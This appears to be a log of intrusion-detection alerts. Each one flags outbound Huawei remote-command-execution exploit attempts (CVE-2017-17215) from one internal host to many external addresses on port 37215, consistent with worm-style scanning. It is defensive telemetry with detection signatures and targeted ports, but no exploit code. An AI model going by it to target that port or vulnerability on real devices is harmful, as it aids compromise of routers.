ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 59.160.183.73

Timestamp:	2024-07-26T17:42:27.583241+0200
SID:	2835222
Source Port:	49200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.59.253.143

Timestamp:	2024-07-26T17:42:03.752014+0200
SID:	2835222
Source Port:	40780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.153.17.190

Timestamp:	2024-07-26T17:42:03.751843+0200
SID:	2835222
Source Port:	41728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 218.12.181.11

Timestamp:	2024-07-26T17:42:24.192951+0200
SID:	2835222
Source Port:	55460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.134.136.232

Timestamp:	2024-07-26T17:42:56.988799+0200
SID:	2835222
Source Port:	52414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.64.158.166

Timestamp:	2024-07-26T17:43:34.316571+0200
SID:	2835222
Source Port:	55038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.20.246.32

Timestamp:	2024-07-26T17:42:03.751973+0200
SID:	2835222
Source Port:	45652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.105.252.254

Timestamp:	2024-07-26T17:43:16.004578+0200
SID:	2835222
Source Port:	37442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.236.173

Timestamp:	2024-07-26T17:42:24.256695+0200
SID:	2835222
Source Port:	50370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.215.45.122

Timestamp:	2024-07-26T17:42:24.259809+0200
SID:	2835222
Source Port:	59310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.87.133.51

Timestamp:	2024-07-26T17:43:21.679013+0200
SID:	2835222
Source Port:	48454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 105.35.239.234

Timestamp:	2024-07-26T17:42:24.311829+0200
SID:	2835222
Source Port:	45520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.4.22.128

Timestamp:	2024-07-26T17:42:44.072216+0200
SID:	2835222
Source Port:	58160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.210.186.186

Timestamp:	2024-07-26T17:42:23.530735+0200
SID:	2835222
Source Port:	58528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.30.204.137

Timestamp:	2024-07-26T17:42:24.287779+0200
SID:	2835222
Source Port:	37074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.232.234.59

Timestamp:	2024-07-26T17:42:24.259211+0200
SID:	2835222
Source Port:	43478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 184.47.229.66

Timestamp:	2024-07-26T17:42:24.299869+0200
SID:	2835222
Source Port:	41692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.60.135.138

Timestamp:	2024-07-26T17:42:38.401665+0200
SID:	2835222
Source Port:	38990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.69.139.155

Timestamp:	2024-07-26T17:42:03.751887+0200
SID:	2835222
Source Port:	48678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.108.14.112

Timestamp:	2024-07-26T17:42:22.851126+0200
SID:	2835222
Source Port:	39876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.25.156.81

Timestamp:	2024-07-26T17:42:23.046713+0200
SID:	2835222
Source Port:	54552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.88.140

Timestamp:	2024-07-26T17:42:23.007527+0200
SID:	2835222
Source Port:	50678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.226.233.126

Timestamp:	2024-07-26T17:43:04.640084+0200
SID:	2835222
Source Port:	49410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.216.242

Timestamp:	2024-07-26T17:42:22.828889+0200
SID:	2835222
Source Port:	37370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.49.58.218

Timestamp:	2024-07-26T17:42:56.990975+0200
SID:	2835222
Source Port:	54800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.147.36.165

Timestamp:	2024-07-26T17:43:19.035369+0200
SID:	2835222
Source Port:	41962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.158.150.189

Timestamp:	2024-07-26T17:42:58.930256+0200
SID:	2835222
Source Port:	49584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.169.244.81

Timestamp:	2024-07-26T17:42:44.348201+0200
SID:	2835222
Source Port:	33408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.242.236.156

Timestamp:	2024-07-26T17:42:56.987902+0200
SID:	2835222
Source Port:	50588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.128.213.200

Timestamp:	2024-07-26T17:43:12.160666+0200
SID:	2835222
Source Port:	53462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 135.237.87.230

Timestamp:	2024-07-26T17:42:25.520316+0200
SID:	2835222
Source Port:	54980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 172.2.13.150

Timestamp:	2024-07-26T17:42:35.406708+0200
SID:	2835222
Source Port:	34638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.77.2.32

Timestamp:	2024-07-26T17:43:13.694805+0200
SID:	2835222
Source Port:	36066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.53.242.4

Timestamp:	2024-07-26T17:42:58.929100+0200
SID:	2835222
Source Port:	49906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.138.100.123

Timestamp:	2024-07-26T17:43:34.311191+0200
SID:	2835222
Source Port:	44926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 193.228.232.39

Timestamp:	2024-07-26T17:42:23.508456+0200
SID:	2835222
Source Port:	60380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 184.188.4.253

Timestamp:	2024-07-26T17:42:22.851130+0200
SID:	2835222
Source Port:	44406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.114.78.215

Timestamp:	2024-07-26T17:42:24.286966+0200
SID:	2835222
Source Port:	39034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.137.45.148

Timestamp:	2024-07-26T17:42:38.606651+0200
SID:	2835222
Source Port:	37128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.6.187.65

Timestamp:	2024-07-26T17:42:30.726272+0200
SID:	2835222
Source Port:	57802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.89.6.50

Timestamp:	2024-07-26T17:42:32.905236+0200
SID:	2835222
Source Port:	35840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.31.7.45

Timestamp:	2024-07-26T17:42:16.209350+0200
SID:	2835222
Source Port:	33104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.146.215.77

Timestamp:	2024-07-26T17:42:24.287736+0200
SID:	2835222
Source Port:	57460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.166.113.173

Timestamp:	2024-07-26T17:43:06.625710+0200
SID:	2835222
Source Port:	36502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.150.94.44

Timestamp:	2024-07-26T17:42:35.406707+0200
SID:	2835222
Source Port:	40260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.127.212.229

Timestamp:	2024-07-26T17:43:10.771511+0200
SID:	2835222
Source Port:	33164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.136.189.68

Timestamp:	2024-07-26T17:42:03.663392+0200
SID:	2835222
Source Port:	51354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.53.250.101

Timestamp:	2024-07-26T17:42:03.751885+0200
SID:	2835222
Source Port:	53072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.148.85

Timestamp:	2024-07-26T17:42:24.287352+0200
SID:	2835222
Source Port:	39762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.235.246.165

Timestamp:	2024-07-26T17:42:27.004002+0200
SID:	2835222
Source Port:	38236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.71.87.126

Timestamp:	2024-07-26T17:42:24.353399+0200
SID:	2835222
Source Port:	59282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 144.144.39.60

Timestamp:	2024-07-26T17:43:00.392373+0200
SID:	2835222
Source Port:	38874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.160.236

Timestamp:	2024-07-26T17:42:22.858867+0200
SID:	2835222
Source Port:	47718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.234.183.150

Timestamp:	2024-07-26T17:42:22.798191+0200
SID:	2835222
Source Port:	37716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 158.129.148.234

Timestamp:	2024-07-26T17:42:22.922438+0200
SID:	2835222
Source Port:	36994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.27.33.45

Timestamp:	2024-07-26T17:42:52.052499+0200
SID:	2835222
Source Port:	36772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.78.44.191

Timestamp:	2024-07-26T17:42:22.858100+0200
SID:	2835222
Source Port:	39172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.26.185.161

Timestamp:	2024-07-26T17:42:32.907412+0200
SID:	2835222
Source Port:	47250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.145.32.11

Timestamp:	2024-07-26T17:43:32.175203+0200
SID:	2835222
Source Port:	33206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.133.241.254

Timestamp:	2024-07-26T17:42:35.406751+0200
SID:	2835222
Source Port:	59944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.180.77.247

Timestamp:	2024-07-26T17:43:22.550049+0200
SID:	2835222
Source Port:	54840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.63.190.142

Timestamp:	2024-07-26T17:42:03.751977+0200
SID:	2835222
Source Port:	45778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.10.36.188

Timestamp:	2024-07-26T17:42:50.536410+0200
SID:	2835222
Source Port:	36128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.47.214.70

Timestamp:	2024-07-26T17:43:02.584597+0200
SID:	2835222
Source Port:	55288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 119.223.103.215

Timestamp:	2024-07-26T17:42:31.064318+0200
SID:	2835222
Source Port:	60596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.119.167.201

Timestamp:	2024-07-26T17:42:27.581437+0200
SID:	2835222
Source Port:	38862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.253.160.68

Timestamp:	2024-07-26T17:42:22.865564+0200
SID:	2835222
Source Port:	38984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 25.248.138.241

Timestamp:	2024-07-26T17:42:24.309511+0200
SID:	2835222
Source Port:	41528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.52.6.237

Timestamp:	2024-07-26T17:43:29.351920+0200
SID:	2835222
Source Port:	55028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.190.82.104

Timestamp:	2024-07-26T17:42:22.885379+0200
SID:	2835222
Source Port:	59772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.136.119.222

Timestamp:	2024-07-26T17:43:10.506259+0200
SID:	2835222
Source Port:	52260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.9.38.254

Timestamp:	2024-07-26T17:42:38.337635+0200
SID:	2835222
Source Port:	54332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.73.89.158

Timestamp:	2024-07-26T17:43:24.598163+0200
SID:	2835222
Source Port:	46684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.0.130.246

Timestamp:	2024-07-26T17:42:22.849085+0200
SID:	2835222
Source Port:	51590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.147.21

Timestamp:	2024-07-26T17:42:58.930089+0200
SID:	2835222
Source Port:	40760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.83.232.96

Timestamp:	2024-07-26T17:42:23.618346+0200
SID:	2835222
Source Port:	56226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.189.110.169

Timestamp:	2024-07-26T17:42:23.176504+0200
SID:	2835222
Source Port:	56208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.33.183.180

Timestamp:	2024-07-26T17:42:54.179402+0200
SID:	2835222
Source Port:	60754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.14.17.185

Timestamp:	2024-07-26T17:42:24.256785+0200
SID:	2835222
Source Port:	56580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 193.229.45.18

Timestamp:	2024-07-26T17:42:30.999253+0200
SID:	2835222
Source Port:	52426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.148.79.5

Timestamp:	2024-07-26T17:43:26.651856+0200
SID:	2835222
Source Port:	49092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.180.161.239

Timestamp:	2024-07-26T17:42:30.820452+0200
SID:	2835222
Source Port:	60024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.194.144

Timestamp:	2024-07-26T17:42:35.406699+0200
SID:	2835222
Source Port:	59840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.83.255.215

Timestamp:	2024-07-26T17:43:12.000641+0200
SID:	2835222
Source Port:	42830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 167.47.221.1

Timestamp:	2024-07-26T17:43:32.170306+0200
SID:	2835222
Source Port:	41934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.36.159.243

Timestamp:	2024-07-26T17:42:26.998585+0200
SID:	2835222
Source Port:	60438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.58.150.30

Timestamp:	2024-07-26T17:43:32.162121+0200
SID:	2835222
Source Port:	33756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.31.230.114

Timestamp:	2024-07-26T17:42:24.289959+0200
SID:	2835222
Source Port:	39850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 151.157.140.134

Timestamp:	2024-07-26T17:42:32.922306+0200
SID:	2835222
Source Port:	58116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.204.201.49

Timestamp:	2024-07-26T17:43:24.642545+0200
SID:	2835222
Source Port:	42572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.82.28.200

Timestamp:	2024-07-26T17:43:26.433625+0200
SID:	2835222
Source Port:	57268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 167.82.115.9

Timestamp:	2024-07-26T17:43:10.506474+0200
SID:	2835222
Source Port:	50056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.195.91.26

Timestamp:	2024-07-26T17:42:24.287870+0200
SID:	2835222
Source Port:	50884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 103.151.132.18

Timestamp:	2024-07-26T17:42:03.751935+0200
SID:	2835222
Source Port:	60448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 201.174.255.37

Timestamp:	2024-07-26T17:42:37.659018+0200
SID:	2835222
Source Port:	45546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.197.180.14

Timestamp:	2024-07-26T17:42:22.851440+0200
SID:	2835222
Source Port:	42330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 57.62.93.117

Timestamp:	2024-07-26T17:42:44.090747+0200
SID:	2835222
Source Port:	59184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.123.239.123

Timestamp:	2024-07-26T17:42:03.752106+0200
SID:	2835222
Source Port:	48138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.134.10.99

Timestamp:	2024-07-26T17:42:22.852847+0200
SID:	2835222
Source Port:	38516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

